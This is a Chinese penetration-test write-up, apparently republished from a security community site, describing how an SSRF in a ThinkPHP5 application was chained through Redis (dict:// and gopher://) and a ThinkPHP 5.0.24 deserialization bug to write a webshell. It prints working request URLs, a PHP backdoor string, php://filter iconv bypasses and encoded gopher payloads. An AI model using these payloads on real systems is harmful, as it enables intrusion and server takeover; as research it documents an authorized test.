一次“SSRF-->RCE”的艰难利用

2020-04-20 约 130 字 预计阅读 1 分钟

声明:本文 【一次“SSRF–>RCE”的艰难利用】 由作者 安恒信息安全研究院 于 2020-04-20 09:43:00 首发 先知社区 曾经 浏览数 269 次

感谢 安恒信息安全研究院 的辛苦付出!

一次“SSRF-->RCE”的艰难利用

乐清小俊杰@Pentes7eam

前言

一次授权的渗透测试中,发现一处SSRF漏洞,可结合Redis实现RCE,看似近在咫尺,却又满路荆棘,经过不懈努力,最终达成目的。其中有一处比较有意思的地方,抽象出来与大家分享。

发现SSRF

目标站点使用ThinkPHP5框架开发,互联网可直接下载源代码,通过代码审计发现一处SSRF漏洞,代码如下所示:

public function httpGet($url=""){

        $curl = curl_init();

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_TIMEOUT, 8);
        //curl_setopt($curl, CURLOPT_TIMEOUT_MS, 1);
        curl_setopt($curl, CURLOPT_URL, $url);

        $res = curl_exec($curl);
        curl_close($curl);

        return $res;
    }

利用SSRF漏洞读取ThinkPHP5配置文件:
http://domain.com/public/index.php?s=index/test/httpget&url=file:////var/www/html/tp_5.0.24/application/config.php

如上图所示,目标业务系统采用Redis缓存数据,且密码为空。

利用gopher协议尝试获取info信息:

http://domain.com/public/index.php?s=index/test/httpget&url=gopher://127.0.0.1:6379/_info

发现无回显,一段时间后500错误,疑似连接上后超时退出,原因不明。

尝试利用dict协议,成功获取Redis的info信息

http://domain.com/public/index.php?s=index/test/httpget&url=dict://127.0.0.1:6379/info

尝试Redis 写shell

上述信息中显示,Redis服务的PID 为3517,查看/proc/3517/status文件。
其Redis服务用户权限为Redis
而目标Web服务器为Nginx,其用户权限为www-data,故利用Redis写shell,执行flushall操作后可能无法直接还原数据,需要通过本地提权获得ROOT用户。由于存在不确定性,故对于本次渗透测试场景下此方法不可取。

利用Redis dbfilename写shell过程发现写入后门时
dict://127.0.0.1:6379/set d '<?php phpinfo();?>'
无法使用“?”符号,如下图所示

翻阅Redis文档,发现可以使用bitop命令
bitop知识相关链接地址为:https://redis.io/commands/bitop,该命令可以对Redis缓存值按位计算并获取结果保存,如下图所示:

执行save操作后访问目标发现回显500错误,猜测原因可能如下:

  • 目标redis数据过大(目标存在10w+ keys),导致超过PHP 执行文件大小;
  • 可能是数据中存在与PHP代码相似数据,解析出现语法错误,导致无法执行。

利用ThinkPHP 反序列化

查看ThinkPHP的Redis的获取数据代码,发现如果值以think_serialize:开头就可以触发反序列化。

目标ThinkPHP的版本为 5.0.24,该版本存在已知反序列化写文件漏洞,相关漏洞细节链接:http://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/。采用该链接中的漏洞利用代码,直接生成的反序列化数据如下(数据前加上了`think_serialize:`)

测试发现由于反序列化数据流中存在\x00,导致程序报错,如下图所示:

测试发现反序列化数据流中存在:,dict协议无法传输。

结合bitop not命令,先对数据进行取反,进入redis后,再取反,得到真正的反序列化数据。过程下图所示。

至此,只要访问代码中触发缓存的点即可触发ThinkPHP5反序列化。

修改反序列化利用代码

ThinkPHP反序列化漏洞最终的写入点为
file_put_contents($a,'<?php exit();'.$a)
需要使用php://filter协议来绕过,原有漏洞利用代码:
php://filter/write=string.rot13/resource=xx<?php使用的rot13反转,虽然绕过了exit();但是会导致输出文件出现<?cur 如下图所示

经测试目标返回500,推测是开启了php短标签导致语法错误,这估计也是前面Redis写shell出现 500状态码的原因。

经过大量尝试,最终发现使用php://filter//convert.iconv.UCS-4LE.UCS-4BE/resource=abcd
iconv.UCS-4LE.UCS-4BE 函数会将目标4位一反转,从而绕过短标签。

但测试发现目标关键文件始终为空,而本地却可以生成。测试使用写入数据为aaaa仍为空。图为本地生成的关键文件

猜测目标开启了php strict模式,关键文件的总字符数不能被4整除(除后余2,如果添加2字符,则写入数据不能正常显示为shell)导致写入为空。
最后尝试php://filter//convert.iconv.UCS-2LE.UCS-2BE/resource=xxxx成功getshell。
iconv.UCS-2LE.UCS-2BE为2位一反转。

gopher协议再验证

重新测试gopher协议。最后发现gopher协议会自动url解码一次。

通过nc 对比gopher和dict协议后发现,dict会自动加上quit命令 XD

于是成功让gopher有回显,url=gopher://127.0.0.1:6379/_set key aa%253abbcc%250d%250aquit
如下图所示:

但是使用url=gopher://127.0.0.1:6379/_set key aa%2500bbcc%250d%250aquit时,仍然超时,猜测可能被截断,但是对比nc数据包发现和发送数据一致。

尝试将数据包直接导入redis

发现并没有修改成功,尝试导入redis-cli

修改成aa? 那么真相只有一个 -> 我是菜鸡
redis-cli 的命令会被转化。如下图所示:

于是使用如上图的方式即可传入\x00字符:

url=gopher://127.0.0.1:6379/_*3%250d%250a$3%250d%250aset%250d%250a$3%250d%250akey%250d%250a$4%250d%250aaa%2500a%250d%250aquit

其他

经测试也可以使用 Redis bitfield命令(相关命令说明链接:https://redis.io/commands/bitfield)来快速设置字符:

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now